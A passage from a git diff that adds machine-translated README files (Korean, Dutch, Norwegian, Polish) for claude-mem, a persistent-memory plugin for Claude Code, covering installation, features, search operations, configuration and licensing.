프로젝트의 최근 세션 컨텍스트 가져오기 +8. **타임라인** - 특정 시점 주변의 통합된 컨텍스트 타임라인 가져오기 +9. **쿼리별 타임라인** - 관찰을 검색하고 가장 일치하는 항목 주변의 타임라인 컨텍스트 가져오기 +10. **API 도움말** - 검색 API 문서 가져오기 + +**자연어 쿼리 예제:** + +``` +"지난 세션에서 어떤 버그를 수정했나요?" +"인증을 어떻게 구현했나요?" +"worker-service.ts에 어떤 변경 사항이 있었나요?" +"이 프로젝트의 최근 작업을 보여주세요" +"뷰어 UI를 추가할 때 무슨 일이 있었나요?" +``` + +자세한 예제는 [검색 도구 가이드](https://docs.claude-mem.ai/usage/search-tools)를 참조하세요. + +--- + +## 베타 기능 + +Claude-Mem은 **Endless Mode**(확장된 세션을 위한 생체모방 메모리 아키텍처)와 같은 실험적 기능을 제공하는 **베타 채널**을 제공합니다. http://localhost:37777 → Settings의 웹 뷰어 UI에서 안정 버전과 베타 버전 간 전환이 가능합니다. + +Endless Mode 및 사용 방법에 대한 자세한 내용은 **[베타 기능 문서](https://docs.claude-mem.ai/beta-features)**를 참조하세요. + +--- + +## 시스템 요구 사항 + +- **Node.js**: 18.0.0 이상 +- **Claude Code**: 플러그인 지원이 있는 최신 버전 +- **Bun**: JavaScript 런타임 및 프로세스 관리자 (누락 시 자동 설치) +- **uv**: 벡터 검색을 위한 Python 패키지 관리자 (누락 시 자동 설치) +- **SQLite 3**: 영구 저장을 위한 데이터베이스 (번들 포함) + +--- + +## 설정 + +설정은 `~/.claude-mem/settings.json`에서 관리됩니다 (첫 실행 시 기본값으로 자동 생성). AI 모델, 워커 포트, 데이터 디렉토리, 로그 수준 및 컨텍스트 주입 설정을 구성할 수 있습니다. + +사용 가능한 모든 설정 및 예제는 **[설정 가이드](https://docs.claude-mem.ai/configuration)**를 참조하세요. + +--- + +## 개발 + +빌드 지침, 테스트 및 기여 워크플로우는 **[개발 가이드](https://docs.claude-mem.ai/development)**를 참조하세요. + +--- + +## 문제 해결 + +문제가 발생하면 Claude에게 문제를 설명하면 troubleshoot 스킬이 자동으로 진단하고 수정 사항을 제공합니다. + +일반적인 문제 및 해결 방법은 **[문제 해결 가이드](https://docs.claude-mem.ai/troubleshooting)**를 참조하세요. + +--- + +## 버그 보고 + +자동화된 생성기로 포괄적인 버그 보고서를 작성하세요: + +```bash +cd ~/.claude/plugins/marketplaces/thedotmack +npm run bug-report +``` + +## 기여 + +기여를 환영합니다! 다음 절차를 따라주세요: + +1. 저장소 포크 +2. 기능 브랜치 생성 +3. 테스트와 함께 변경 사항 작성 +4. 문서 업데이트 +5. Pull Request 제출 + +기여 워크플로우는 [개발 가이드](https://docs.claude-mem.ai/development)를 참조하세요. + +--- + +## 라이선스 + +이 프로젝트는 **GNU Affero General Public License v3.0** (AGPL-3.0)에 따라 라이선스가 부여됩니다. + +Copyright (C) 2025 Alex Newman (@thedotmack). All rights reserved. + +전체 세부 정보는 [LICENSE](LICENSE) 파일을 참조하세요. + +**의미:** + +- 이 소프트웨어를 자유롭게 사용, 수정 및 배포할 수 있습니다 +- 수정하여 네트워크 서버에 배포하는 경우 소스 코드를 공개해야 합니다 +- 파생 작업물도 AGPL-3.0에 따라 라이선스가 부여되어야 합니다 +- 이 소프트웨어에는 보증이 없습니다 + +**Ragtime에 대한 참고 사항**: `ragtime/` 디렉토리는 **PolyForm Noncommercial License 1.0.0**에 따라 별도로 라이선스가 부여됩니다. 자세한 내용은 [ragtime/LICENSE](ragtime/LICENSE)를 참조하세요. + +--- + +## 지원 + +- **문서**: [docs/](docs/) +- **이슈**: [GitHub Issues](https://github.com/thedotmack/claude-mem/issues) +- **저장소**: [github.com/thedotmack/claude-mem](https://github.com/thedotmack/claude-mem) +- **작성자**: Alex Newman ([@thedotmack](https://github.com/thedotmack)) + +--- + +**Claude Agent SDK로 구축** | **Claude Code 기반** | **TypeScript로 제작** + +--- \ No newline at end of file diff --git a/docs/i18n/README.nl.md b/docs/i18n/README.nl.md new file mode 100644 index 00000000..67a6c2bb --- /dev/null +++ b/docs/i18n/README.nl.md @@ -0,0 +1,301 @@ +🌐 Dit is een automatische vertaling. Gemeenschapscorrecties zijn welkom! + +

+
+ + + + + Claude-Mem + + +
+

+ +

+ 🇨🇳 中文 • + 🇯🇵 日本語 • + 🇧🇷 Português • + 🇰🇷 한국어 • + 🇪🇸 Español • + 🇩🇪 Deutsch • + 🇫🇷 Français + 🇮🇱 עברית • + 🇸🇦 العربية • + 🇷🇺 Русский • + 🇵🇱 Polski • + 🇨🇿 Čeština • + 🇳🇱 Nederlands • + 🇹🇷 Türkçe • + 🇺🇦 Українська • + 🇻🇳 Tiếng Việt • + 🇮🇩 Indonesia • + 🇹🇭 ไทย • + 🇮🇳 हिन्दी • + 🇧🇩 বাংলা • + 🇷🇴 Română • + 🇸🇪 Svenska • + 🇮🇹 Italiano • + 🇬🇷 Ελληνικά • + 🇭🇺 Magyar • + 🇫🇮 Suomi • + 🇩🇰 Dansk • + 🇳🇴 Norsk +

+ +

Persistent geheugencompressiesysteem gebouwd voor Claude Code.

+ +

+ + License + + + Version + + + Node + + + Mentioned in Awesome Claude Code + +

+ +

+ + + + + thedotmack/claude-mem | Trendshift + + +

+ +
+ +

+ + + Claude-Mem Preview + + +

+ +

+ Snel Starten • + Hoe Het Werkt • + Zoektools • + Documentatie • + Configuratie • + Probleemoplossing • + Licentie +

+ +

+ Claude-Mem behoudt naadloos context tussen sessies door automatisch waarnemingen van toolgebruik vast te leggen, semantische samenvattingen te genereren en deze beschikbaar te maken voor toekomstige sessies. Dit stelt Claude in staat om continuïteit van kennis over projecten te behouden, zelfs nadat sessies eindigen of opnieuw verbinden. +

+ +--- + +## Snel Starten + +Start een nieuwe Claude Code sessie in de terminal en voer de volgende commando's in: + +``` +> /plugin marketplace add thedotmack/claude-mem + +> /plugin install claude-mem +``` + +Herstart Claude Code. Context van eerdere sessies verschijnt automatisch in nieuwe sessies. + +**Belangrijkste Functies:** + +- 🧠 **Persistent Geheugen** - Context blijft behouden tussen sessies +- 📊 **Progressieve Onthulling** - Gelaagde geheugenophaling met zichtbaarheid van tokenkosten +- 🔍 **Vaardigheidgebaseerd Zoeken** - Bevraag je projectgeschiedenis met mem-search vaardigheid +- 🖥️ **Web Viewer UI** - Real-time geheugenstroom op http://localhost:37777 +- 💻 **Claude Desktop Vaardigheid** - Zoek geheugen vanuit Claude Desktop gesprekken +- 🔒 **Privacycontrole** - Gebruik `` tags om gevoelige content uit te sluiten van opslag +- ⚙️ **Context Configuratie** - Fijnmazige controle over welke context wordt geïnjecteerd +- 🤖 **Automatische Werking** - Geen handmatige tussenkomst vereist +- 🔗 **Citaten** - Verwijs naar eerdere waarnemingen met ID's (toegang via http://localhost:37777/api/observation/{id} of bekijk alle in de web viewer op http://localhost:37777) +- 🧪 **Bètakanaal** - Probeer experimentele functies zoals Endless Mode via versieschakeling + +--- + +## Documentatie + +📚 **[Bekijk Volledige Documentatie](docs/)** - Blader door markdown documenten op GitHub + +### Aan de Slag + +- **[Installatiegids](https://docs.claude-mem.ai/installation)** - Snel starten & geavanceerde installatie +- **[Gebruikersgids](https://docs.claude-mem.ai/usage/getting-started)** - Hoe Claude-Mem automatisch werkt +- **[Zoektools](https://docs.claude-mem.ai/usage/search-tools)** - Bevraag je projectgeschiedenis met natuurlijke taal +- **[Bètafuncties](https://docs.claude-mem.ai/beta-features)** - Probeer experimentele functies zoals Endless Mode + +### Beste Praktijken + +- **[Context Engineering](https://docs.claude-mem.ai/context-engineering)** - AI agent context optimalisatieprincipes +- **[Progressieve Onthulling](https://docs.claude-mem.ai/progressive-disclosure)** - Filosofie achter Claude-Mem's context priming strategie + +### Architectuur + +- **[Overzicht](https://docs.claude-mem.ai/architecture/overview)** - Systeemcomponenten & gegevensstroom +- **[Architectuurevolutie](https://docs.claude-mem.ai/architecture-evolution)** - De reis van v3 naar v5 +- **[Hooks Architectuur](https://docs.claude-mem.ai/hooks-architecture)** - Hoe Claude-Mem lifecycle hooks gebruikt +- **[Hooks Referentie](https://docs.claude-mem.ai/architecture/hooks)** - 7 hook scripts uitgelegd +- **[Worker Service](https://docs.claude-mem.ai/architecture/worker-service)** - HTTP API & Bun beheer +- **[Database](https://docs.claude-mem.ai/architecture/database)** - SQLite schema & FTS5 zoeken +- **[Zoekarchitectuur](https://docs.claude-mem.ai/architecture/search-architecture)** - Hybride zoeken met Chroma vector database + +### Configuratie & Ontwikkeling + +- **[Configuratie](https://docs.claude-mem.ai/configuration)** - Omgevingsvariabelen & instellingen +- **[Ontwikkeling](https://docs.claude-mem.ai/development)** - Bouwen, testen, bijdragen +- **[Probleemoplossing](https://docs.claude-mem.ai/troubleshooting)** - Veelvoorkomende problemen & oplossingen + +--- + +## Hoe Het Werkt + +**Kerncomponenten:** + +1. **5 Lifecycle Hooks** - SessionStart, UserPromptSubmit, PostToolUse, Stop, SessionEnd (6 hook scripts) +2. **Slimme Installatie** - Gecachte afhankelijkheidscontrole (pre-hook script, geen lifecycle hook) +3. **Worker Service** - HTTP API op poort 37777 met web viewer UI en 10 zoekeindpunten, beheerd door Bun +4. **SQLite Database** - Slaat sessies, waarnemingen, samenvattingen op +5. **mem-search Vaardigheid** - Natuurlijke taal queries met progressieve onthulling +6. **Chroma Vector Database** - Hybride semantisch + zoekwoord zoeken voor intelligente context ophaling + +Zie [Architectuuroverzicht](https://docs.claude-mem.ai/architecture/overview) voor details. + +--- + +## mem-search Vaardigheid + +Claude-Mem biedt intelligent zoeken via de mem-search vaardigheid die automatisch wordt aangeroepen wanneer je vraagt over eerder werk: + +**Hoe Het Werkt:** +- Vraag gewoon natuurlijk: *"Wat hebben we vorige sessie gedaan?"* of *"Hebben we deze bug eerder opgelost?"* +- Claude roept automatisch de mem-search vaardigheid aan om relevante context te vinden + +**Beschikbare Zoekoperaties:** + +1. **Search Observations** - Volledige tekst zoeken door waarnemingen +2. **Search Sessions** - Volledige tekst zoeken door sessiesamenvattingen +3. **Search Prompts** - Zoek ruwe gebruikersverzoeken +4. **By Concept** - Vind op concepttags (discovery, problem-solution, pattern, etc.) +5. **By File** - Vind waarnemingen die specifieke bestanden refereren +6. **By Type** - Vind op type (decision, bugfix, feature, refactor, discovery, change) +7. **Recent Context** - Krijg recente sessiecontext voor een project +8. **Timeline** - Krijg uniforme tijdlijn van context rond een specifiek tijdstip +9. **Timeline by Query** - Zoek naar waarnemingen en krijg tijdlijncontext rond beste match +10. **API Help** - Krijg zoek API documentatie + +**Voorbeeld Natuurlijke Taal Queries:** + +``` +"Welke bugs hebben we vorige sessie opgelost?" +"Hoe hebben we authenticatie geïmplementeerd?" +"Welke wijzigingen zijn gemaakt aan worker-service.ts?" +"Laat me recent werk aan dit project zien" +"Wat gebeurde er toen we de viewer UI toevoegden?" +``` + +Zie [Zoektools Gids](https://docs.claude-mem.ai/usage/search-tools) voor gedetailleerde voorbeelden. + +--- + +## Bètafuncties + +Claude-Mem biedt een **bètakanaal** met experimentele functies zoals **Endless Mode** (biomimetische geheugenarchitectuur voor uitgebreide sessies). Schakel tussen stabiele en bètaversies vanuit de web viewer UI op http://localhost:37777 → Settings. + +Zie **[Bètafuncties Documentatie](https://docs.claude-mem.ai/beta-features)** voor details over Endless Mode en hoe je het kunt proberen. + +--- + +## Systeemvereisten + +- **Node.js**: 18.0.0 of hoger +- **Claude Code**: Nieuwste versie met plugin ondersteuning +- **Bun**: JavaScript runtime en procesbeheer (automatisch geïnstalleerd indien ontbreekt) +- **uv**: Python package manager voor vector zoeken (automatisch geïnstalleerd indien ontbreekt) +- **SQLite 3**: Voor persistente opslag (meegeleverd) + +--- + +## Configuratie + +Instellingen worden beheerd in `~/.claude-mem/settings.json` (automatisch aangemaakt met standaardinstellingen bij eerste run). Configureer AI model, worker poort, data directory, logniveau en context injectie-instellingen. + +Zie de **[Configuratiegids](https://docs.claude-mem.ai/configuration)** voor alle beschikbare instellingen en voorbeelden. + +--- + +## Ontwikkeling + +Zie de **[Ontwikkelingsgids](https://docs.claude-mem.ai/development)** voor bouwinstructies, testen en bijdrageworkflow. + +--- + +## Probleemoplossing + +Als je problemen ervaart, beschrijf het probleem aan Claude en de troubleshoot vaardigheid zal automatisch diagnosticeren en oplossingen bieden. + +Zie de **[Probleemoplossingsgids](https://docs.claude-mem.ai/troubleshooting)** voor veelvoorkomende problemen en oplossingen. + +--- + +## Bugrapporten + +Maak uitgebreide bugrapporten met de geautomatiseerde generator: + +```bash +cd ~/.claude/plugins/marketplaces/thedotmack +npm run bug-report +``` + +## Bijdragen + +Bijdragen zijn welkom! Gelieve: + +1. Fork de repository +2. Maak een feature branch +3. Maak je wijzigingen met tests +4. Update documentatie +5. Dien een Pull Request in + +Zie [Ontwikkelingsgids](https://docs.claude-mem.ai/development) voor bijdrageworkflow. + +--- + +## Licentie + +Dit project is gelicentieerd onder de **GNU Affero General Public License v3.0** (AGPL-3.0). + +Copyright (C) 2025 Alex Newman (@thedotmack). Alle rechten voorbehouden. + +Zie het [LICENSE](LICENSE) bestand voor volledige details. + +**Wat Dit Betekent:** + +- Je kunt deze software vrijelijk gebruiken, aanpassen en distribueren +- Als je aanpast en implementeert op een netwerkserver, moet je je broncode beschikbaar maken +- Afgeleide werken moeten ook gelicentieerd zijn onder AGPL-3.0 +- Er is GEEN GARANTIE voor deze software + +**Opmerking over Ragtime**: De `ragtime/` directory is afzonderlijk gelicentieerd onder de **PolyForm Noncommercial License 1.0.0**. Zie [ragtime/LICENSE](ragtime/LICENSE) voor details. + +--- + +## Ondersteuning + +- **Documentatie**: [docs/](docs/) +- **Issues**: [GitHub Issues](https://github.com/thedotmack/claude-mem/issues) +- **Repository**: [github.com/thedotmack/claude-mem](https://github.com/thedotmack/claude-mem) +- **Auteur**: Alex Newman ([@thedotmack](https://github.com/thedotmack)) + +--- + +**Gebouwd met Claude Agent SDK** | **Aangedreven door Claude Code** | **Gemaakt met TypeScript** \ No newline at end of file diff --git a/docs/i18n/README.no.md b/docs/i18n/README.no.md new file mode 100644 index 00000000..678f4f0d --- /dev/null +++ b/docs/i18n/README.no.md @@ -0,0 +1,304 @@ +🌐 Dette er en automatisk oversettelse. Bidrag fra fellesskapet er velkomne! + +--- +

+
+ + + + + Claude-Mem + + +
+

+ +

+ 🇨🇳 中文 • + 🇯🇵 日本語 • + 🇧🇷 Português • + 🇰🇷 한국어 • + 🇪🇸 Español • + 🇩🇪 Deutsch • + 🇫🇷 Français + 🇮🇱 עברית • + 🇸🇦 العربية • + 🇷🇺 Русский • + 🇵🇱 Polski • + 🇨🇿 Čeština • + 🇳🇱 Nederlands • + 🇹🇷 Türkçe • + 🇺🇦 Українська • + 🇻🇳 Tiếng Việt • + 🇮🇩 Indonesia • + 🇹🇭 ไทย • + 🇮🇳 हिन्दी • + 🇧🇩 বাংলা • + 🇷🇴 Română • + 🇸🇪 Svenska • + 🇮🇹 Italiano • + 🇬🇷 Ελληνικά • + 🇭🇺 Magyar • + 🇫🇮 Suomi • + 🇩🇰 Dansk • + 🇳🇴 Norsk +

+ +

Vedvarende minnekomprimeringssystem bygget for Claude Code.

+ +

+ + License + + + Version + + + Node + + + Mentioned in Awesome Claude Code + +

+ +

+ + + + + thedotmack/claude-mem | Trendshift + + +

+ +
+ +

+ + + Claude-Mem Preview + + +

+ +

+ Hurtigstart • + Hvordan Det Fungerer • + Søkeverktøy • + Dokumentasjon • + Konfigurasjon • + Feilsøking • + Lisens +

+ +

+ Claude-Mem bevarer sømløst kontekst på tvers av økter ved automatisk å fange opp observasjoner av verktøybruk, generere semantiske sammendrag, og gjøre dem tilgjengelige for fremtidige økter. Dette gjør det mulig for Claude å opprettholde kunnskapskontinuitet om prosjekter selv etter at økter avsluttes eller gjenopprettes. +

+ +--- + +## Hurtigstart + +Start en ny Claude Code-økt i terminalen og skriv inn følgende kommandoer: + +``` +> /plugin marketplace add thedotmack/claude-mem + +> /plugin install claude-mem +``` + +Start Claude Code på nytt. Kontekst fra tidligere økter vil automatisk vises i nye økter. + +**Nøkkelfunksjoner:** + +- 🧠 **Vedvarende Minne** - Kontekst overlever på tvers av økter +- 📊 **Progressiv Avsløring** - Lagdelt minnehenting med synlighet av tokenkostnader +- 🔍 **Ferdighetsbasert Søk** - Spør om prosjekthistorikken din med mem-search-ferdigheten +- 🖥️ **Nettleser UI** - Sanntids minnestrøm på http://localhost:37777 +- 💻 **Claude Desktop-ferdighet** - Søk i minne fra Claude Desktop-samtaler +- 🔒 **Personvernkontroll** - Bruk ``-tagger for å ekskludere sensitivt innhold fra lagring +- ⚙️ **Kontekstkonfigurasjon** - Finjustert kontroll over hvilken kontekst som injiseres +- 🤖 **Automatisk Drift** - Ingen manuell inngripen nødvendig +- 🔗 **Kildehenvisninger** - Referer til tidligere observasjoner med ID-er (tilgang via http://localhost:37777/api/observation/{id} eller se alle i nettviseren på http://localhost:37777) +- 🧪 **Beta-kanal** - Prøv eksperimentelle funksjoner som Endless Mode via versjonsbytte + +--- + +## Dokumentasjon + +📚 **[Se Full Dokumentasjon](docs/)** - Bla gjennom markdown-dokumenter på GitHub + +### Komme I Gang + +- **[Installasjonsveiledning](https://docs.claude-mem.ai/installation)** - Hurtigstart og avansert installasjon +- **[Brukerveiledning](https://docs.claude-mem.ai/usage/getting-started)** - Hvordan Claude-Mem fungerer automatisk +- **[Søkeverktøy](https://docs.claude-mem.ai/usage/search-tools)** - Spør om prosjekthistorikken din med naturlig språk +- **[Beta-funksjoner](https://docs.claude-mem.ai/beta-features)** - Prøv eksperimentelle funksjoner som Endless Mode + +### Beste Praksis + +- **[Kontekst Engineering](https://docs.claude-mem.ai/context-engineering)** - Optimaliseringsprinsipper for AI-agentkontekst +- **[Progressiv Avsløring](https://docs.claude-mem.ai/progressive-disclosure)** - Filosofien bak Claude-Mems strategi for kontekstpriming + +### Arkitektur + +- **[Oversikt](https://docs.claude-mem.ai/architecture/overview)** - Systemkomponenter og dataflyt +- **[Arkitekturutvikling](https://docs.claude-mem.ai/architecture-evolution)** - Reisen fra v3 til v5 +- **[Hooks-arkitektur](https://docs.claude-mem.ai/hooks-architecture)** - Hvordan Claude-Mem bruker livssyklus-hooks +- **[Hooks-referanse](https://docs.claude-mem.ai/architecture/hooks)** - 7 hook-skript forklart +- **[Worker Service](https://docs.claude-mem.ai/architecture/worker-service)** - HTTP API og Bun-administrasjon +- **[Database](https://docs.claude-mem.ai/architecture/database)** - SQLite-skjema og FTS5-søk +- **[Søkearkitektur](https://docs.claude-mem.ai/architecture/search-architecture)** - Hybridsøk med Chroma vektordatabase + +### Konfigurasjon og Utvikling + +- **[Konfigurasjon](https://docs.claude-mem.ai/configuration)** - Miljøvariabler og innstillinger +- **[Utvikling](https://docs.claude-mem.ai/development)** - Bygging, testing, bidragsflyt +- **[Feilsøking](https://docs.claude-mem.ai/troubleshooting)** - Vanlige problemer og løsninger + +--- + +## Hvordan Det Fungerer + +**Kjernekomponenter:** + +1. **5 Livssyklus-Hooks** - SessionStart, UserPromptSubmit, PostToolUse, Stop, SessionEnd (6 hook-skript) +2. **Smart Installasjon** - Bufret avhengighetssjekker (pre-hook-skript, ikke en livssyklus-hook) +3. **Worker Service** - HTTP API på port 37777 med nettleser UI og 10 søkeendepunkter, administrert av Bun +4. **SQLite Database** - Lagrer økter, observasjoner, sammendrag +5. **mem-search-ferdighet** - Naturligspråklige spørringer med progressiv avsløring +6. **Chroma Vektordatabase** - Hybrid semantisk + nøkkelordsøk for intelligent konteksthenting + +Se [Arkitekturoversikt](https://docs.claude-mem.ai/architecture/overview) for detaljer. + +--- + +## mem-search-ferdighet + +Claude-Mem tilbyr intelligent søk gjennom mem-search-ferdigheten som automatisk aktiveres når du spør om tidligere arbeid: + +**Hvordan Det Fungerer:** +- Bare spør naturlig: *"Hva gjorde vi forrige økt?"* eller *"Fikset vi denne feilen før?"* +- Claude aktiverer automatisk mem-search-ferdigheten for å finne relevant kontekst + +**Tilgjengelige Søkeoperasjoner:** + +1. **Search Observations** - Fulltekstsøk på tvers av observasjoner +2. **Search Sessions** - Fulltekstsøk på tvers av øktsammendrag +3. **Search Prompts** - Søk i rå brukerforespørsler +4. **By Concept** - Finn etter konsept-tagger (discovery, problem-solution, pattern, osv.) +5. **By File** - Finn observasjoner som refererer til spesifikke filer +6. **By Type** - Finn etter type (decision, bugfix, feature, refactor, discovery, change) +7. **Recent Context** - Få nylig øktkontekst for et prosjekt +8. **Timeline** - Få samlet tidslinje av kontekst rundt et spesifikt tidspunkt +9. **Timeline by Query** - Søk etter observasjoner og få tidslinjekontekst rundt beste treff +10. **API Help** - Få søke-API-dokumentasjon + +**Eksempel på Naturligspråklige Spørringer:** + +``` +"What bugs did we fix last session?" +"How did we implement authentication?" +"What changes were made to worker-service.ts?" +"Show me recent work on this project" +"What was happening when we added the viewer UI?" +``` + +Se [Søkeverktøy-veiledning](https://docs.claude-mem.ai/usage/search-tools) for detaljerte eksempler. + +--- + +## Beta-funksjoner + +Claude-Mem tilbyr en **beta-kanal** med eksperimentelle funksjoner som **Endless Mode** (biomimetisk minnearkitektur for utvidede økter). Bytt mellom stabile og beta-versjoner fra nettleser-UI på http://localhost:37777 → Settings. + +Se **[Beta-funksjoner Dokumentasjon](https://docs.claude-mem.ai/beta-features)** for detaljer om Endless Mode og hvordan du prøver det. + +--- + +## Systemkrav + +- **Node.js**: 18.0.0 eller høyere +- **Claude Code**: Nyeste versjon med plugin-støtte +- **Bun**: JavaScript-runtime og prosessadministrator (autoinstalleres hvis mangler) +- **uv**: Python-pakkeadministrator for vektorsøk (autoinstalleres hvis mangler) +- **SQLite 3**: For vedvarende lagring (inkludert) + +--- + +## Konfigurasjon + +Innstillinger administreres i `~/.claude-mem/settings.json` (opprettes automatisk med standardverdier ved første kjøring). Konfigurer AI-modell, worker-port, datakatalog, loggnivå og innstillinger for kontekstinjeksjon. + +Se **[Konfigurasjonsveiledning](https://docs.claude-mem.ai/configuration)** for alle tilgjengelige innstillinger og eksempler. + +--- + +## Utvikling + +Se **[Utviklingsveiledning](https://docs.claude-mem.ai/development)** for byggeinstruksjoner, testing og bidragsflyt. + +--- + +## Feilsøking + +Hvis du opplever problemer, beskriv problemet til Claude og troubleshoot-ferdigheten vil automatisk diagnostisere og gi løsninger. + +Se **[Feilsøkingsveiledning](https://docs.claude-mem.ai/troubleshooting)** for vanlige problemer og løsninger. + +--- + +## Feilrapporter + +Opprett omfattende feilrapporter med den automatiserte generatoren: + +```bash +cd ~/.claude/plugins/marketplaces/thedotmack +npm run bug-report +``` + +## Bidra + +Bidrag er velkomne! Vennligst: + +1. Fork repositoryet +2. Opprett en feature-gren +3. Gjør endringene dine med tester +4. Oppdater dokumentasjonen +5. Send inn en Pull Request + +Se [Utviklingsveiledning](https://docs.claude-mem.ai/development) for bidragsflyt. + +--- + +## Lisens + +Dette prosjektet er lisensiert under **GNU Affero General Public License v3.0** (AGPL-3.0). + +Copyright (C) 2025 Alex Newman (@thedotmack). Alle rettigheter reservert. + +Se [LICENSE](LICENSE)-filen for fullstendige detaljer. + +**Hva Dette Betyr:** + +- Du kan bruke, modifisere og distribuere denne programvaren fritt +- Hvis du modifiserer og distribuerer på en nettverkstjener, må du gjøre kildekoden din tilgjengelig +- Avledede verk må også være lisensiert under AGPL-3.0 +- Det er INGEN GARANTI for denne programvaren + +**Merknad om Ragtime**: `ragtime/`-katalogen er lisensiert separat under **PolyForm Noncommercial License 1.0.0**. Se [ragtime/LICENSE](ragtime/LICENSE) for detaljer. + +--- + +## Støtte + +- **Dokumentasjon**: [docs/](docs/) +- **Problemer**: [GitHub Issues](https://github.com/thedotmack/claude-mem/issues) +- **Repository**: [github.com/thedotmack/claude-mem](https://github.com/thedotmack/claude-mem) +- **Forfatter**: Alex Newman ([@thedotmack](https://github.com/thedotmack)) + +--- + +**Bygget med Claude Agent SDK** | **Drevet av Claude Code** | **Laget med TypeScript** + +--- \ No newline at end of file diff --git a/docs/i18n/README.pl.md b/docs/i18n/README.pl.md new file mode 100644 index 00000000..97fc3fe1 --- /dev/null +++ b/docs/i18n/README.pl.md @@ -0,0 +1,301 @@ +🌐 To jest automatyczne tłumaczenie. Korekty społeczności są mile widziane! + +

+
+ + + + + Claude-Mem + + +
+

+ +

+ 🇨🇳 中文 • + 🇯🇵 日本語 • + 🇧🇷 Português • + 🇰🇷 한국어 • + 🇪🇸 Español • + 🇩🇪 Deutsch • + 🇫🇷 Français + 🇮🇱 עברית • + 🇸🇦 العربية • + 🇷🇺 Русский • + 🇵🇱 Polski • + 🇨🇿 Čeština • + 🇳🇱 Nederlands • + 🇹🇷 Türkçe • + 🇺🇦 Українська • + 🇻🇳 Tiếng Việt • + 🇮🇩 Indonesia • + 🇹🇭 ไทย • + 🇮🇳 हिन्दी • + 🇧🇩 বাংলা • + 🇷🇴 Română • + 🇸🇪 Svenska • + 🇮🇹 Italiano • + 🇬🇷 Ελληνικά • + 🇭🇺 Magyar • + 🇫🇮 Suomi • + 🇩🇰 Dansk • + 🇳🇴 Norsk +

+ +

System trwałej kompresji pamięci stworzony dla Claude Code.

+ +

+ + License + + + Version + + + Node + + + Mentioned in Awesome Claude Code + +

+ +

+ + + + + thedotmack/claude-mem | Trendshift + + +

+ +
+ +

+ + + Claude-Mem Preview + + +

+ +

+ Szybki Start • + Jak To Działa • + Narzędzia Wyszukiwania • + Dokumentacja • + Konfiguracja • + Rozwiązywanie Problemów • + Licencja +

+ +

+ Claude-Mem płynnie zachowuje kontekst między sesjami, automatycznie przechwytując obserwacje użycia narzędzi, generując semantyczne podsumowania i udostępniając je przyszłym sesjom. To umożliwia Claude utrzymanie ciągłości wiedzy o projektach nawet po zakończeniu lub ponownym połączeniu sesji. +

+ +--- + +## Szybki Start + +Uruchom nową sesję Claude Code w terminalu i wprowadź następujące polecenia: + +``` +> /plugin marketplace add thedotmack/claude-mem + +> /plugin install claude-mem +``` + +Uruchom ponownie Claude Code. Kontekst z poprzednich sesji automatycznie pojawi się w nowych sesjach. + +**Kluczowe Funkcje:** + +- 🧠 **Trwała Pamięć** - Kontekst przetrwa między sesjami +- 📊 **Stopniowe Ujawnianie** - Warstwowe pobieranie pamięci z widocznością kosztów tokenów +- 🔍 **Wyszukiwanie Oparte na Umiejętnościach** - Przeszukuj historię projektu za pomocą umiejętności mem-search +- 🖥️ **Interfejs Przeglądarki Internetowej** - Strumień pamięci w czasie rzeczywistym pod adresem http://localhost:37777 +- 💻 **Umiejętność Claude Desktop** - Przeszukuj pamięć z konwersacji Claude Desktop +- 🔒 **Kontrola Prywatności** - Użyj tagów ``, aby wykluczyć wrażliwe treści z przechowywania +- ⚙️ **Konfiguracja Kontekstu** - Szczegółowa kontrola nad tym, jaki kontekst jest wstrzykiwany +- 🤖 **Automatyczne Działanie** - Nie wymaga ręcznej interwencji +- 🔗 **Cytowania** - Odniesienia do przeszłych obserwacji za pomocą identyfikatorów (dostęp przez http://localhost:37777/api/observation/{id} lub wyświetl wszystkie w przeglądarce internetowej pod adresem http://localhost:37777) +- 🧪 **Kanał Beta** - Wypróbuj eksperymentalne funkcje, takie jak Endless Mode, poprzez przełączanie wersji + +--- + +## Dokumentacja + +📚 **[Wyświetl Pełną Dokumentację](docs/)** - Przeglądaj dokumentację markdown na GitHub + +### Pierwsze Kroki + +- **[Przewodnik Instalacji](https://docs.claude-mem.ai/installation)** - Szybki start i zaawansowana instalacja +- **[Przewodnik Użytkowania](https://docs.claude-mem.ai/usage/getting-started)** - Jak Claude-Mem działa automatycznie +- **[Narzędzia Wyszukiwania](https://docs.claude-mem.ai/usage/search-tools)** - Przeszukuj historię projektu w języku naturalnym +- **[Funkcje Beta](https://docs.claude-mem.ai/beta-features)** - Wypróbuj eksperymentalne funkcje, takie jak Endless Mode + +### Najlepsze Praktyki + +- **[Inżynieria Kontekstu](https://docs.claude-mem.ai/context-engineering)** - Zasady optymalizacji kontekstu agenta AI +- **[Stopniowe Ujawnianie](https://docs.claude-mem.ai/progressive-disclosure)** - Filozofia strategii przygotowania kontekstu Claude-Mem + +### Architektura + +- **[Przegląd](https://docs.claude-mem.ai/architecture/overview)** - Komponenty systemu i przepływ danych +- **[Ewolucja Architektury](https://docs.claude-mem.ai/architecture-evolution)** - Droga od v3 do v5 +- **[Architektura Hooków](https://docs.claude-mem.ai/hooks-architecture)** - Jak Claude-Mem wykorzystuje hooki cyklu życia +- **[Dokumentacja Hooków](https://docs.claude-mem.ai/architecture/hooks)** - 7 skryptów hooków wyjaśnionych +- **[Usługa Worker](https://docs.claude-mem.ai/architecture/worker-service)** - HTTP API i zarządzanie Bun +- **[Baza Danych](https://docs.claude-mem.ai/architecture/database)** - Schemat SQLite i wyszukiwanie FTS5 +- **[Architektura Wyszukiwania](https://docs.claude-mem.ai/architecture/search-architecture)** - Hybrydowe wyszukiwanie z bazą wektorów Chroma + +### Konfiguracja i Rozwój + +- **[Konfiguracja](https://docs.claude-mem.ai/configuration)** - Zmienne środowiskowe i ustawienia +- **[Rozwój](https://docs.claude-mem.ai/development)** - Budowanie, testowanie, współpraca +- **[Rozwiązywanie Problemów](https://docs.claude-mem.ai/troubleshooting)** - Typowe problemy i rozwiązania + +--- + +## Jak To Działa + +**Główne Komponenty:** + +1. **5 Hooków Cyklu Życia** - SessionStart, UserPromptSubmit, PostToolUse, Stop, SessionEnd (6 skryptów hooków) +2. **Inteligentna Instalacja** - Buforowany sprawdzacz zależności (skrypt pre-hook, nie hook cyklu życia) +3. **Usługa Worker** - HTTP API na porcie 37777 z interfejsem przeglądarki internetowej i 10 punktami końcowymi wyszukiwania, zarządzana przez Bun +4. **Baza Danych SQLite** - Przechowuje sesje, obserwacje, podsumowania +5. **Umiejętność mem-search** - Zapytania w języku naturalnym ze stopniowym 